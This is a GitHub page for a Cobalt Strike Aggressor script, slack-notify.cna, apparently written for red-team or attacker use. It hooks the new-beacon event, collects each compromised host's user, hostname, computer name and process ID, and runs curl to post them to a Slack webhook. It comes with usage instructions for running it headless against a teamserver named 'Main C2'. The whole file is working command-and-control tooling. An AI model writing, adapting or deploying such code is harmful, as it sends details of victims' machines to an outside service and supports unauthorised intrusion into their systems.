-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathslack-notify.cna
25 lines (22 loc) · 1.13 KB
/
slack-notify.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#### Load PowerShells
## Aggressor script to send slack notification whith basic beacon's info on a new beacon initial call
### Author: Sabri (@KINGSABRI)
### Usage ###
# 1. Edit $teamserver, $slack_webhook, $bot_name and $slack_webhook
# 2. run it as a headless: ./agscript 127.0.0.1 50050 SlackNotify PASSWORD slack-notify.cna
### Output ###
# Get a beacon and check your slack ;)
$teamserver = "Main C2";
$slack_channel = "#Hell";
$bot_name = "CS-Bot";
$slack_webhook = "https://hooks.slack.com/services/XXX/YYY/ZZZ";
on beacon_initial {
$beacon = binfo($1);
$user = $beacon['user'];
$host = $beacon['host'];
$computer = $beacon['computer'];
$pid = $beacon['pid'];
$message = 'payload={"username": "'. $bot_name .'", "channel": "'. $slack_channel .'","attachments": [{"color": "danger","author_name": "' . $teamserver . '", "fallback": "New Beacon ' . $teamserver . ' | ' . $pid . '", "fields": [{"title": "' . $user . '@' . $host . ' (' . $computer . ')","short": false}],"footer": "PID: ' . $pid . '"}]}';
@curl_command = @('curl','-X','POST','--data-urlencode', $message, $slack_webhook);
exec(@curl_command);
}